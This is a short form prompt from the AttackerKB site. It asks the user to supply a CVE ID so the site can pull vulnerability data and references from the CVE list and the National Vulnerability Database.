CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: